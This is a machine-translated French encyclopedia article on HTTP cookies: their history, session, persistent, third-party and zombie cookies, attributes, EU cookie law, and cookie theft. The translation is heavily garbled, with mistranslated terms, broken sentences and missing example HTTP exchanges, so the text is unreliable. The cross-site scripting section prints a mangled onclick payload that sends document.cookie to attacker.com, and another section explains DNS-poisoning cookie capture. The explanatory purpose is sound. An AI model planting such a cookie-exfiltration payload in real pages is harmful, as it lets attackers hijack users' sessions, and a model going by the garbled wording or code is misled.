cookie HTTP

Un cookie, aussi connu comme un cookie HTTP, Web biscuits ou navigateur cookie est un petit morceau de données envoyées à partir d'un site Internet et stockée dans un utilisateur de navigateur Web tandis qu'un utilisateur visite un site Web. Lorsque l'utilisateur navigue sur le même site à l'avenir, les données stockées dans le cookie est envoyé vers le site Web par le navigateur pour informer le site de l'activité précédente de l'utilisateur. Les cookies ont été conçus pour être un mécanisme fiable pour les sites à retenir la état du site ou de l'activité à l'utilisateur avait pris dans le passé. Cela peut inclure cliquant sur les boutons particuliers, connexion, ou un enregistrement des pages ont été visitées par l'utilisateur, il ya même des mois ou des années.

Bien que les témoins ne peuvent pas porter virus, et ne peut pas installer malware sur l'ordinateur hôte, les cookies de suivi et en particulier le suivi des cookies tiers sont couramment utilisés comme des moyens pour compiler des données à long terme de navigation les histoires-un des individus majeurs problème de confidentialité qui a incité les décideurs européens et américains droit de prendre des mesures en 2011. Les cookies peuvent également stocker des mots de passe et forme un utilisateur a déjà conclu, comme un numéro de carte de crédit ou une adresse. Lorsqu'un utilisateur accède à un site avec une fonction de cookie pour la première fois, un cookie est envoyé du serveur vers le navigateur et stockées avec le navigateur dans l'ordinateur local. Plus tard, lorsque l'utilisateur revient au même site, le site reconnaître l'utilisateur en raison de la cookie stocké avec les informations de l'utilisateur.

Autres types de cookies remplissent des fonctions essentielles dans le web moderne. Peut-être plus important encore, les cookies d'authentification sont la méthode la plus couramment utilisée par les serveurs Web pour savoir si l'utilisateur est connecté ou non, et qui représentent, ils sont enregistrés en moins. Sans un tel mécanisme, le site ne saurait pas se il faut envoyer une page contenant des informations sensibles, ou demander à l'utilisateur de se authentifier en vous connectant. La sécurité d'un cookie d'authentification dépend généralement de la sécurité du site d'émission et l'utilisateur de navigateur Web, et si les données sont cryptées à biscuits. Les failles de sécurité peuvent permettre aux données d'un biscuit à être lus par un hacker, utilisé pour accéder aux données de l'utilisateur, ou utilisé pour accéder (avec les informations d'identification de l'utilisateur) sur le site pour lequel le cookie appartient (voir cross-site scripting et cross-site Request Forgery pour des exemples).

Histoire

Le terme «cookie» est dérivé de " magic cookie ", qui est le paquet de données d'un programme reçoit et envoie à nouveau inchangé. biscuits magiques a déjà été utilisé dans le calcul lorsque programmeur informatique Lou Montulli a eu l'idée de les utiliser dans les communications Web en Juin 1994. À l'époque, il était un employé de Netscape Communications, qui se développe le application e-commerce "MCI Mall» pour MCI. Vint Cerf et John Klensin représentés MCI dans les discussions techniques avec Netscape Communications. Ne voulant pas les serveurs MCI Mall d'avoir à conserver Etats transaction partielle conduit à la demande de MCI à Netscape pour trouver un moyen de stocker cet état dans l'ordinateur de chaque utilisateur. Les témoins ont fourni une solution au problème de la mise en œuvre de manière fiable un panier d'achat virtuel.

Avec John Giannandrea, Montulli écrit la spécification initiale de Netscape cookie de la même année. Version 0.9beta de Mosaic Netscape, sorti le 13 Octobre 1994, a soutenu les cookies. La première utilisation de cookies (sur les laboratoires) a été vérifier si les visiteurs du site Web de Netscape avaient déjà visité le site. Montulli une demande de brevet pour la technologie des cookies en 1995, et US 5774670   a été accordée en 1998. Soutien aux témoins a été intégré dans Internet Explorer en version 2, sorti en Octobre., 1995

L'introduction des cookies n'a pas été largement connu du public à l'époque. En particulier, les cookies ont été acceptées par défaut, et les utilisateurs ne ont pas été informés de la présence de cookies. Le grand public appris sur eux après la Financial Times a publié un article à leur sujet le 12 Février, 1996. Dans la même année, les cookies reçu beaucoup d'attention des médias, en particulier à cause des implications sur la vie privée. Les cookies ont été discutés dans deux des États-Unis Audiences Federal Trade Commission en 1996 et 1997.

Le développement des spécifications formelles de biscuits était déjà en cours. En particulier, les premières discussions sur une spécification formelle commencé en Avril 1995 sur la liste de diffusion www-talk. Un groupe de travail spécial au sein de la IETF a été formé. Deux autres propositions visant à introduire l'état dans les transactions HTTP ont été proposés par Brian Behlendorf et David Kristol respectivement, mais le groupe, dirigé par Kristol lui-même et Aron Afatsuom, dès décidé d'utiliser la spécification Netscape comme un point de départ. En Février 1996, le groupe de travail a identifié les cookies tiers comme une menace considérable la vie privée. La spécification produite par le groupe a finalement été publié en tant que RFC 2109 à Février 1997. Il précise que les cookies tiers soit ne étaient pas acceptés du tout, ou du moins pas activés par défaut.

A cette époque, les entreprises de publicité utilisaient déjà les cookies tiers. La recommandation sur les cookies tiers de RFC 2109 n'a pas été suivie par Netscape et Internet Explorer. RFC 2109 a été remplacée par RFC 2965 en Octobre l'an 2000.

Une spécification définitive pour les cookies que celui utilisé dans le monde réel a été publié en tant que RFC 6265 en Avril 2011.

Terminologie

cookie de session

Cookie de session de Un utilisateur (aussi connu comme un biscuit en mémoire ou un biscuit transitoire) pour un site Web existe dans la mémoire temporaire uniquement lorsque l'utilisateur est en train de lire et de naviguer sur le site. Lorsque la date d'expiration ou de l'intervalle de validité ne est pas réglé au moment de la création biscuits, un cookie de session est créé. navigateurs Web supprimer normalement des cookies de session lorsque l'utilisateur ferme le navigateur.

Cookie persistant

Un cookie persistant survivra sessions utilisateur. Si un cookie persistant a son ensemble Max-Age à 1 an, puis, dans l'année, la valeur initiale définie dans ce cookie sera envoyé vers le serveur à chaque fois que l'utilisateur a visité le serveur. Cela pourrait être utilisé pour enregistrer une pièce essentielle d'informations telles que la façon dont l'utilisateur d'abord venu à ce site. Pour cette raison, les cookies persistants sont aussi appelés cookies de suivi.

Cookie sécurisé

Un cookie sécurisé a l' attribut secure activé et ne est utilisé que par l'intermédiaire HTTPS, se assurer que le cookie est toujours crypté lors de la transmission du client au serveur. Cela rend le cookie moins susceptibles d'être exposés à vol d'écoute via biscuit.

HttpOnly cookies

Le cookie HttpOnly est soutenu par la plupart des navigateurs modernes. Sur un navigateur pris en charge, un HttpOnly cookie de session ne sera utilisée que lors de la transmission HTTP (ou HTTPS) demandes, limitant ainsi l'accès des autres, non-HTTP API (comme JavaScript). Cette restriction atténue mais ne élimine pas la menace de vol de cookie de session via cross-site scripting (XSS). Cette fonction se applique uniquement aux cookies de gestion des sessions, et non d'autres cookies de votre navigateur.

Cookies tiers

First-party cookies sont des cookies fixées avec le même domaine (ou de son sous-domaine) comme la barre d'adresse de votre navigateur. Les cookies tiers sont les cookies avec des domaines différents de celui illustré sur la barre d'adresse. Les pages sur le premier domaine Web peuvent comporter contenu d'un domaine tiers, par exemple une bannière publicitaire géré par www.advexample.com . Mise Confidentialité options dans la plupart des navigateurs modernes vous permettent de bloquer les cookies tiers de suivi.

A titre d'exemple, supposons qu'un utilisateur visite www.example1.com , qui comprend une annonce qui définit un cookie avec le domaine ad.foxytracking.com . Lorsque l'utilisateur se rend plus tard www.example2.com , une autre annonce peut définir un autre cookie avec le domaine ad.foxytracking.com . Finalement, deux de ces cookies seront envoyés à l'annonceur lors du chargement de leurs annonces ou en visitant leur site Web. L'annonceur peut ensuite utiliser ces cookies pour construire un historique de navigation de l'utilisateur sur tous les sites Ce propriétaire est sur empreintes.

Supercookie

A "supercookie" est un biscuit avec une origine d'un Domaine de premier niveau (TLD) ou un Top-Level Domain efficace. Certains domaines qui sont considérés comme "Top-Level" peuvent en fait être un domaine de premier niveau secondaire inférieur ou. Par exemple, .co.uk ou .k12.ca.us sont considérés comme de premier niveau, même se ils sont plusieurs niveaux de profondeur. Ces domaines sont dénommés Suffixes publics et ne sont pas ouvertes à la réservation par les utilisateurs finaux. La plupart des navigateurs, par défaut, permettent de première partie les cookies-un cookie avec domaine soit identique ou sous-domaine de l'hôte demandeur. Par exemple, un utilisateur visitant www.example.com peut avoir un cookie mis avec le domaine www.example.com ou .example.com . Il est important que supercookies sont bloqués par les navigateurs. Si débloqué, un attaquant dans le contrôle d'un site Web malveillant avec le domaine .com pourrait créer un "supercookie" et potentiellement perturber ou usurper l'identité demandes des utilisateurs légitimes pour example.com , profitant ainsi du fait que .com peut installer des cookies valides pour sous- domaine example.com .

Le Liste suffixe publique est une initiative inter-vendeur de fournir une liste précise des suffixes de noms de domaine en constante évolution. Les anciennes versions de navigateurs peuvent ne pas avoir la liste la plus à jour, et seront donc vulnérables à supercookies de certains domaines.

Supercookie (autres utilisations)

Le terme «supercookie» est parfois utilisé pour le suivi des technologies qui ne reposent pas sur les cookies HTTP. Deux de ces mécanismes de «supercookie" ont été trouvés sur les sites Web de Microsoft: biscuits synchronisation qui repop MUID cookies et ETag les cookies. En raison de l'attention des médias, Microsoft tard désactivée ce code:

En réponse à l'attention récente sur «supercookies" dans les médias, nous avons voulu partager plus de détails sur l'action immédiate, nous avons pris d'aborder cette question, ainsi que d'affirmer notre attachement à la vie privée de nos clients. Selon les chercheurs, y compris Jonathan Mayer à l'Université Stanford, "supercookies" sont capables de les cookies de re-création d'utilisateurs ou d'autres identificateurs supprimés après que les gens les cookies réguliers. M. Mayer a identifié Microsoft comme l'un parmi d'autres qui ont eu ce code, et quand il a apporté ses conclusions à notre attention, nous avons étudié rapidement. Nous avons déterminé que l'utilisation du cookie il a observé se produisait dans certaines circonstances à la suite de l'ancien code qui a été utilisé uniquement sur nos propres sites, et a déjà été prévue pour être interrompu. Nous avons accéléré ce processus et rapidement désactivé ce code. A aucun moment, cette cause de la fonctionnalité Microsoft identificateurs de biscuits ou de données associées à ces identifiants pour être partagées en dehors de Microsoft.

-Mike Hintze

Zombie cookies

Certains cookies sont automatiquement recréés après qu'un utilisateur les a supprimés; ceux-ci sont appelés cookies de zombies. Ceci est accompli par un script stocker le contenu du cookie dans d'autres endroits, tels que la stockage local à la disposition de contenu Flash, HTML5 stockages et d'autres mécanismes de côté client, puis recréer le cookie dans les magasins de sauvegarde lorsque l'absence du cookie est détecté.

Structure

Un cookie ne contient pas plus de 255 caractères et ne peut pas prendre plus de 4K d'espace disque, qui se compose de six paramètres:

1. Nom du cookie
2. Valeur du cookie
3. L'expiration du cookie (en utilisant Greenwich Mean Time)
4. Le chemin le cookie est bon pour
5. Le domaine le cookie est bon pour
6. La nécessité d'une connexion sécurisée à utiliser le cookie

Seuls les deux premiers paramètres sont nécessaires pour le bon fonctionnement du cookie.

Utilisations

La gestion de session

Les témoins peuvent être utilisés pour maintenir des données relatives à l'utilisateur pendant la navigation, éventuellement sur plusieurs visites. Les témoins ont été introduits pour fournir un moyen pour mettre en oeuvre un " panier "(ou" panier "), un périphérique virtuel dans lequel les utilisateurs peuvent stocker des objets qu'ils veulent acheter alors qu'ils naviguent sur le site.

Panier d'achats applications stockent habituellement aujourd'hui la liste des contenu du panier dans une base de données sur le côté serveur, plutôt que de stocker panier articles dans le cookie lui-même. Un serveur web envoie généralement un cookie contenant un identificateur de session unique. Le navigateur Web renverra cet identificateur de session avec chaque demande et panier ultérieures articles sont stockés associé à un identifiant de session unique.

Permettre aux utilisateurs de se connecter à un site Web est une utilisation fréquente de cookies. Typiquement, le serveur va d'abord envoyer un cookie contenant un identifiant de session unique. Les utilisateurs soumettent ensuite leurs pouvoirs et l'application Web authentifie la session et permet à l'utilisateur d'accéder à des services.

Les cookies sont un moyen rapide et pratique de l'interaction client / serveur. L'un des avantages de biscuits réside dans le fait qu'ils stockent les informations de l'utilisateur tandis que les utilisateurs identifiant localement simplement basées sur la correspondance des cookies. Le serveur de stockage et de récupération de la charge est considérablement réduit. Comme une question de fait, la possibilité d'applications est sans fin - les données personnelles en tout temps besoin d'être sauvés, ils peuvent être sauvegardés comme un cookie (Kington, 1997).

Personnalisation

Les cookies peuvent être utilisés pour mémoriser les informations sur l'utilisateur qui a visité un site Web afin de montrer un contenu pertinent à l'avenir. Par exemple, un serveur Web peut envoyer un cookie contenant le nom d'utilisateur utilisé en dernier pour se connecter à un site Web de sorte qu'il peut être rempli pour les prochaines visites.

De nombreux sites Web utilisent des cookies pour la personnalisation basée sur les préférences des utilisateurs. Les utilisateurs sélectionnent leurs préférences en les inscrivant dans un formulaire Web et de soumettre le formulaire au serveur. Le serveur encode les préférences dans un cookie et envoie le cookie au navigateur. De cette façon, chaque fois que l'utilisateur accède à une page, le serveur est également envoyé le cookie où les préférences sont stockées et peuvent personnaliser la page selon les préférences de l'utilisateur. Par exemple, le Wikipedia site permet aux utilisateurs authentifiés de choisir la page Web la peau qu'ils aiment le mieux; le Google moteur de recherche une fois permis aux utilisateurs (même les non-inscrits) de décider combien de résultats de recherche par page qu'ils veulent voir.

Poursuite

Les cookies de suivi peuvent être utilisés pour suivre la navigation web des internautes de. Ceci peut également être fait en partie au moyen de la adresse IP de l'ordinateur demandeur la page ou le domaine référent de la HTTP tête de demande, mais les cookies permettent une plus grande précision. Ceci peut être démontré de la manière suivante:

1. Si l'utilisateur demande une page du site, mais la demande ne contient pas de cookie, le serveur suppose que ce est la première page visitée par l'utilisateur; le serveur crée une chaîne aléatoire et l'envoie comme un cookie au navigateur avec la page demandée;
2. De ce point sur, le cookie sera automatiquement envoyé par le navigateur pour le serveur à chaque fois une nouvelle page du site est demandée; le serveur envoie la page comme d'habitude, mais enregistre également l'URL de la page demandée, la date / heure de la demande, et le cookie dans un fichier journal.

En analysant le fichier journal recueillies dans le processus, il est alors possible de trouver sur les pages qui l'utilisateur a visités, dans quel ordre, et pour combien de temps.

Exécution

Une interaction possible entre un navigateur Web et un serveur contenant une page Web dans laquelle le serveur envoie un cookie au navigateur et le navigateur renvoie lorsque vous demandez une autre page.

Les cookies sont arbitraires de données choisies par le le serveur web et envoyé au navigateur. Le navigateur renvoie les inchangée au serveur, l'introduction d'un Etat (mémoire des événements antérieurs) dans les transactions HTTP autrement, seraient apatrides. Sans les cookies, chaque récupération d'un page Web ou d'un composant d'une page web est un événement isolé, la plupart sans rapport avec tous les autres points de vue des pages d'un même site. Autre que d'être fixé par un serveur web, les cookies peuvent également être définis par un script dans un langage tel que JavaScript, se il est supporté et activé par le navigateur Web.

spécifications de Cookie suggèrent que les navigateurs devraient être en mesure d'économiser et de renvoyer un nombre minimal de cookies. En particulier, un navigateur web devrait être capable de stocker au moins 300 témoins de quatre ko chacun, et au moins 20 cookies par serveur ou domaine.

Définition d'un cookie

Le transfert de pages Web suit le HyperText Transfer Protocol (HTTP). Indépendamment de cookies, les navigateurs demandent une page à partir de serveurs Web en leur envoyant un texte généralement de courte appelé requête HTTP. Par exemple, pour accéder à la page http://www.example.org/index.html, les navigateurs se connectent au serveur www.example.org envoyer une demande qui ressemble à la suivante:

Les réponses du serveur en envoyant la page demandée précédé par un paquet similaire de texte, appelés «Réponse HTTP. Ce paquet peut contenir des lignes demandant le navigateur pour stocker des cookies:

Le serveur envoie lignes de Set-Cookie uniquement si le serveur souhaite que le navigateur pour stocker des cookies. Set-Cookie est une directive pour le navigateur pour stocker le cookie et de le renvoyer dans les demandes futures sur le serveur (sous réserve de date d'expiration ou d'autres cookies attributs ), si le navigateur accepte les cookies et les cookies sont activés. Par exemple, le navigateur demande la page http://www.example.org/spec.html en envoyant le serveur www.example.org une demande comme ce qui suit:

Ceci est une demande pour une autre page du même serveur, et diffère de la première ci-dessus, car il contient la chaîne de caractères que le serveur a déjà envoyé au navigateur. De cette façon, le serveur sait que cette demande est liée à la précédente. Le serveur répond en envoyant la page demandée, en ajoutant éventuellement d'autres témoins ainsi.

La valeur d'un cookie peut être modifié par le serveur en envoyant un nouveau Set-Cookie: name=newvalue ligne en réponse d'une demande de page. Le navigateur remplace alors l'ancienne valeur par la nouvelle.

La valeur d'un cookie peut se composer de tout caractère imprimable ascii ( ! travers ~ , unicode \u0021 travers \u007E exclusion) , et ; et en excluant les espaces. Le nom du cookie exclut également = car ce est le séparateur entre le nom et la valeur. La RFC2965 standard cookie est plus limite mais pas mis en œuvre par les navigateurs.

Le terme «miettes de cookie" est parfois utilisé pour désigner la paire nom-valeur. Ce ne est pas le même que Navigation web fil d'Ariane, qui est la technique de montrer à chaque page la liste des pages que l'utilisateur a visités précédemment; cette technique, cependant, peut être mise en œuvre en utilisant des cookies.

Les cookies peuvent également être configurés par JavaScript ou son exécution similaires se exécutant dans le navigateur. Dans JavaScript, l'objet document.cookie est utilisé à cette fin. Par exemple, l'instruction document.cookie = "temperature=20" crée un cookie nom de temperature et la valeur 20 .

attributs de Cookie

Outre la paire nom-valeur, les serveurs peuvent également définir ces attributs de cookie: un domaine de cookie, un chemin, temps d'expiration ou d'âge maximale, drapeau sécurisé et HttpOnly drapeau. Navigateurs ne enverront pas biscuits attributs sur le serveur. Ils ne enverront la paire nom-valeur du cookie. attributs des cookies sont utilisés par les navigateurs pour déterminer à quel moment supprimer un cookie, bloquer un cookie ou si vous souhaitez envoyer un cookie (paire nom-valeur) pour les serveurs.

Domaine et Chemin

Le domaine de cookie et le chemin définissent la portée du cookie-ils racontent le navigateur que les cookies ne doivent être renvoyés au serveur pour le domaine et le chemin donné. Si non spécifié, elles sont par défaut au domaine et le chemin de l'objet qui a été demandé. Un exemple de directives Set-Cookie d'un site Web après qu'un utilisateur connecté:

Le premier cookie LSID a domaine défaut docs.foo.com et Chemin /accounts , qui indique au navigateur d'utiliser le cookie uniquement lorsque les demandes de pages contenues dans docs.foo.com/accounts . Les deux autres cookies HSID et SSID seraient renvoyés par le navigateur tout en demandant tout sous-domaine en .foo.com sur un chemin, par exemple www.foo.com/ .

Les cookies ne peuvent être réglées sur le domaine de premier et de ses sous-domaines. Réglage de cookies sur www.foo.com de www.bar.com ne fonctionnera pas pour des raisons de sécurité.

Expire et Max-Age

La directive Expire indique au navigateur lors de supprimer le cookie. Dérivé du format utilisé dans RFC 1123, la date est indiquée sous la forme de "Wdy, DD Mon AAAA HH: MM: SS GMT", indiquant l'exacte date / heure ce cookie expirera. Comme une alternative à la mise en biscuit expiration comme une date / temps absolu, RFC 6265 permet l'utilisation de l'attribut max-age pour définir l'expiration du cookie comme un intervalle de secondes dans le futur par rapport au moment où le navigateur a reçu le cookie. Un exemple de directives Set-Cookie d'un site Web après qu'un utilisateur connecté:

Le premier cookie lu est configuré pour expirer dans le courant de 15-Jan-2013; il sera utilisé par le navigateur du client jusqu'à ce moment. Le second témoin made_write_conn n'a pas de date d'expiration, ce qui en fait un cookie de session. Il sera supprimé après que l'utilisateur ferme son navigateur. Le troisième cookie reg_fb_gate a changé sa valeur à supprimer, avec un temps d'expiration par le passé. Le navigateur supprimer ce cookie tout de suite - noter que cookie ne sera supprimé lorsque le domaine et le chemin attributs dans le Set-Cookie champ correspondent aux valeurs utilisées lorsque le cookie a été créé.

Sécurisé et HttpOnly

Les attributs Secure HttpOnly ne ont pas de valeurs associées. Au contraire, la présence des noms d'attributs indique que la Sécurité et HttpOnly comportements sont spécifiés.

L'attribut sécurisé vise à garder la communication cookie limitée à la transmission cryptée, diriger les navigateurs d'utiliser des cookies uniquement via sécuriser / connexions cryptées. Naturellement, les serveurs Web doivent définir des cookies sécurisés via sécuriser / connexions chiffrées, de peur que l'information soit à biscuits transmis d'une manière qui permet l'écoute lors de la première envoyée au navigateur Web.

L'attribut HttpOnly dirige navigateurs d'utiliser des cookies via le protocole HTTP uniquement. (Cela comprend HTTPS; HttpOnly ne est pas le contraire de Secure.) Un HttpOnly cookie ne est pas accessible via HTTP non-méthodes, telles que des appels via JavaScript (par exemple, référencement "document.cookie"), et ne peuvent donc pas être volés facilement via cross-site scripting (une technique d'attaque généralisée). Comme le montre dans les exemples précédents, Facebook et Google utilisent le HttpOnly attribuer beaucoup.

Paramètres du navigateur

La plupart des navigateurs modernes prennent en charge les cookies et permettent à l'utilisateur de les désactiver. Ce qui suit sont des options communes:

1. Pour activer ou désactiver les cookies complètement, de sorte qu'ils sont toujours acceptées ou toujours bloquée.
2. Certains navigateurs intègrent un gestionnaire de cookies pour l'utilisateur de voir et sélectivement supprimer les cookies actuellement stockés dans le navigateur.
3. Par défaut, Internet Explorer ne autorise que les cookies tiers qui sont accompagnés par un P3P "CP" (Politique Compact) domaine.

La plupart des navigateurs permettent aussi une lingette complète des données privées, y compris les cookies. Outils add-on pour la gestion des autorisations de cookies existent également.

Confidentialité et cookies tiers

Les cookies ont des implications importantes sur la la vie privée et l'anonymat des utilisateurs du Web. Bien que les cookies sont envoyés uniquement au serveur eux ou le serveur dans le même cadre domaine de l'Internet, une page web peut contenir des images ou d'autres éléments stockés sur des serveurs dans d'autres domaines. Les cookies qui sont définies lors de la récupération de ces composants sont appelés cookies tiers. Les anciennes normes de biscuits, RFC 2109 et RFC 2965, spécifient que les navigateurs doivent protéger la vie privée de l'utilisateur et ne pas permettre le partage de cookies entre les serveurs par défaut; cependant, la nouvelle norme, RFC 6265, autorise explicitement les agents utilisateurs à mettre en œuvre selon tiers politique biscuits ils le souhaitent. La plupart des navigateurs, comme Mozilla Firefox , Internet Explorer , Opera et Google Chrome autorisent les cookies tiers par défaut, tant que le site Web tiers a Compact Politique de confidentialité publié. Les nouvelles versions de Safari bloquent les cookies tiers, de même que Firefox 22.

Dans cet exemple fictif, une société de publicité a placé des bannières dans deux sites. Accueillir les images des bannières publicitaires sur ses serveurs et utiliser les cookies tiers, la société de publicité est en mesure de suivre la navigation des utilisateurs à travers ces deux sites.

Les agences de publicité utilisent les cookies tiers pour suivre un utilisateur sur plusieurs sites. En particulier, une société de publicité peut suivre un utilisateur sur toutes les pages où il a placé des images de publicité ou de web bugs. Connaissance des pages visitées par un utilisateur permet à l'entreprise de publicité pour cibler les publicités aux préférences présumées de l'utilisateur.

les opérateurs de site Web qui ne divulguent pas des tiers l'utilisation de cookie pour les consommateurs courent le risque de nuire à la confiance des consommateurs si l'utilisation de cookie est découvert. Ayant divulgation claire (comme dans un politique de confidentialité) tend à éliminer les effets négatifs de cette découverte de cookie.

La possibilité de construire un profil des utilisateurs est considéré par certains une menace potentielle à la vie privée, en particulier lorsque le suivi est fait dans plusieurs domaines à l'aide de cookies tiers. Pour cette raison, certains pays disposent d'une législation sur les cookies.

Le États-Unis gouvernement a fixé des règles strictes concernant les réglages des cookies en 2000 après qu'il a été révélé que la Maison Blanche bureau de la politique des drogues utilisé des cookies pour suivre les utilisateurs d'ordinateurs de visualisation sa publicité anti-drogue en ligne. En 2002, la vie privée activiste Daniel Brandt a constaté que le CIA avait été quitte cookies persistants sur les ordinateurs qui ont visité son site Web. Lorsque notifié qu'il violait la politique, de la CIA a déclaré que ces cookies ne ont pas été intentionnellement définies et arrêté leur mise. Le 25 Décembre 2005, Brandt a découvert que le National Security Agency (NSA) avait été quitte deux cookies persistants sur les ordinateurs des visiteurs en raison d'une mise à niveau logicielle. Après avoir été informé, la National Security Agency immédiatement désactivé les cookies.

Loi Cookie UE

En 2002, l'Union européenne a lancé le La directive sur la vie privée et les communications électroniques, une politique exigeant le consentement de placement de cookies et des technologies similaires pour le stockage et l'accès aux informations sur les utilisateurs de l'utilisateur final de l'équipement. En particulier, l'article 5, paragraphe 3 mandats que stocker des données dans l'ordinateur d'un utilisateur ne peut être fait si l'utilisateur est fourni des informations sur la façon dont ces données sont utilisées, et l'utilisateur a la possibilité de refuser cette opération de stockage.

Directive 95/46 / CE définit «le consentement de la personne concernée» comme: «toute indication spécifique et éclairé donné librement de ses vœux par lesquels la personne concernée signifie son accord aux données personnelles le concernant en cours de traitement". Le consentement doit impliquer une certaine forme de communication où les individus indiquent sciemment leur acceptation.

En 2009, la politique a été modifiée par la directive 2009/136 / CE, qui comprenait une modification de l'article 5 paragraphe 3. Au lieu d'avoir une option pour les utilisateurs de se retirer de stockage des cookies, la directive révisée requiert consentement à être obtenu pour le stockage des cookies .

En Juin 2012, les autorités européennes de protection des données a adopté un avis qui précise que certains utilisateurs de biscuits pourraient être exemptés de l'obligation d'obtenir le consentement:

• Certains cookies peuvent être exemptés de consentement éclairé dans certaines conditions si elles ne sont pas utilisées à d'autres fins. Ces cookies comprennent les cookies utilisés pour garder une trace de l'entrée d'un utilisateur lors du remplissage des formulaires en ligne ou comme un panier d'achat.
• Analytics parti premiers cookies ne sont pas susceptibles de créer un risque de la vie privée si les sites Web fournissent des informations claires sur les cookies aux utilisateurs et aux garanties de confidentialité.

La réponse de l'industrie a été largement négative. Certains considèrent la directive comme une machine infernale apocalyptique qui "tuer les ventes en ligne» et «tuer l'Internet". Robert Bond du cabinet d'avocats Speechly Bircham décrit les effets que "d'une grande portée et incroyablement onéreux» pour «toutes les entreprises du Royaume-Uni." Simon Davis de Privacy International fait valoir que l'application correcte serait "détruire l'ensemble de l'industrie."

Le spécification P3P offre la possibilité pour un serveur d'affirmer une politique de confidentialité en utilisant un en-tête HTTP, qui spécifie quel type d'informations qu'il recueille et dans quel but. Ces politiques comprennent (mais ne sont pas limités à) l'utilisation des informations recueillies à l'aide de cookies. Conformément à la spécification P3P, un navigateur peut accepter ou refuser les cookies en comparant la politique de confidentialité avec les préférences de l'utilisateur stockées ou demander à l'utilisateur, en les présentant la politique de confidentialité telle que déclarée par le serveur. Toutefois, la spécification P3P a été critiqué par les développeurs web pour sa complexité, ne Internet Explorer fournit un soutien adéquat pour la spécification, et certains sites web utilisé code incorrect dans leurs têtes (tout Facebook , pour une période, en plaisantant utilisé "HONK" que son en-tête P3P ).

Les cookies tiers peuvent être bloqués par la plupart des navigateurs pour augmenter la vie privée et de réduire suivi par la publicité et de suivi entreprises sans affecter négativement l'expérience Web de l'utilisateur. De nombreux opérateurs de publicité ont une option d'opt-out à la publicité comportementale, avec un cookie dans le navigateur générique arrêter la publicité comportementale.

le vol de biscuits et de détournement de session

La plupart des sites utilisent des cookies comme les seuls identifiants de sessions utilisateur, parce que d'autres méthodes d'identification des utilisateurs du Web ont des limitations et des vulnérabilités. Si un site Web utilise des cookies que des identifiants de session, les attaquants peuvent usurper l'identité de demandes en volant un ensemble complet de victimes des utilisateurs les cookies. Du point de vue du serveur Web, une demande d'un attaquant a alors le même authentification que les demandes de la victime; donc la demande est effectuée au nom de la session de la victime.

Énumérées ici sont différents scénarios de vol à biscuits et session utilisateur détournement (même sans voler les cookies des utilisateurs) qui fonctionnent avec des sites qui se appuient uniquement sur les cookies HTTP pour l'identification de l'utilisateur.

écoute de réseau

Un cookie ne peut être volé par un autre ordinateur qui est autorisé en train de lire le réseau

Le trafic sur un réseau peut être intercepté et lu par les ordinateurs du réseau autre que l'expéditeur et le récepteur (en particulier sur en clair ouverte Wi-Fi ). Ce trafic comprend cookies envoyés en clair sur ordinaire sessions HTTP. Où le trafic réseau ne est pas chiffré, les attaquants peuvent donc lire les communications d'autres utilisateurs sur le réseau, y compris les cookies HTTP ainsi que tout le contenu des conversations, aux fins d'une man-in-the-middle attaque.

Un attaquant pourrait utiliser des cookies interceptés à usurper l'identité d'un utilisateur et effectuer une tâche malveillants, tels que le transfert d'argent sur le compte bancaire de la victime.

Ce problème peut être résolu en assurant la communication entre l'ordinateur de l'utilisateur et le serveur en utilisant Transport Layer Security ( protocole HTTPS) pour chiffrer la connexion. Un serveur peut spécifier le drapeau sécurisé tout en définissant un cookie, ce qui entraînera le navigateur pour envoyer le cookie seulement sur un canal crypté, comme une connexion SSL.

Publication sous-domaine fausse - l'empoisonnement du cache DNS

Via l'empoisonnement du cache DNS, un attaquant pourrait être en mesure de provoquer un serveur DNS pour mettre en cache une entrée DNS fabriqué, dire f12345.www.example.com avec l'adresse IP du serveur de l'attaquant. L'attaquant peut alors afficher une URL de l'image de son propre serveur (par exemple, http://f12345.www.example.com/img_4_cookie.jpg ). Victimes de lecture du message de l'attaquant seraient télécharger cette image à partir f12345.www.example.com . Depuis f12345.www.example.com est un sous-domaine de www.example.com , les navigateurs des victimes serait de soumettre tous example.com les cookies -related sur le serveur de l'attaquant; les biscuits compromis serait également inclure HTTPOnly cookies.

Cette vulnérabilité est généralement pour les fournisseurs de services Internet pour fixer, en sécurisant leurs serveurs DNS. Mais il peut aussi être atténué si www.example.com utilise sécurisés cookies. Les navigateurs des victimes ne seront pas soumettre sécurisés cookies si l'image de l'attaquant est pas en utilisant des connexions cryptées. Si l'attaquant a choisi d'utiliser le protocole HTTPS pour son télécharger img_4_cookie.jpg, il aurait le défi de l'obtention d'un certificat SSL pour f12345.www.example.com partir d'une autorité de certification. Sans un certificat SSL appropriée, les navigateurs des victimes seraient afficher des messages (habituellement très visible) d'avertissement sur ​​le certificat non valide, alertant ainsi les victimes ainsi que les responsables de la sécurité de www.example.com (ce dernier exigerait quelqu'un pour informer les responsables de la sécurité).

Cross-site scripting - le vol de cookies

Les langages de script tels que JavaScript sont généralement autorisés à accéder à la valeur du cookie et avoir des moyens pour envoyer des valeurs arbitraires à des serveurs arbitraires sur Internet. Ces faits sont utilisés en combinaison avec des sites permettant aux utilisateurs de publier du contenu HTML que les autres utilisateurs puissent voir.

A titre d'exemple, un attaquant peut poster un message surwww.example.comle lien suivant:

<a href = "#" onclick = "window.location = 'http:? //attacker.com/stole.cgi text =" + escape (document.cookie); return false; ">Cliquez ici!</ a>

Cross-site scripting: un cookie qui devraient être uniquement échangées entre un serveur et un client est envoyé à une autre partie.

Lorsqu'un autre utilisateur clique sur ce lien, le navigateur exécute le morceau de code au sein de l' sur clic attribut, remplaçant ainsi la chaîne document.cookie avec la liste des cookies de l'utilisateur qui sont actives pour la page. En conséquence, la présente liste des cookies est envoyée au attacker.com serveur. Si l'annonce de l'attaquant est sur https://www.example.com/somewhere ​​, cookies sécurisés seront également envoyés à attacker.com en texte brut.

Cross-site scripting est une menace constante, comme il ya toujours des craquelins qui essaient de trouver un moyen de se glisser dans les balises de script à des sites Web. Il est de la responsabilité des développeurs de site Web pour filtrer tel code malveillant.

Dans l'intervalle, ces attaques peuvent être atténués par l'utilisation HTTPOnly cookies. Ces cookies ne seront pas accessibles par un script côté client, et donc, l'attaquant ne sera pas en mesure de recueillir ces cookies.

Cross-site scripting

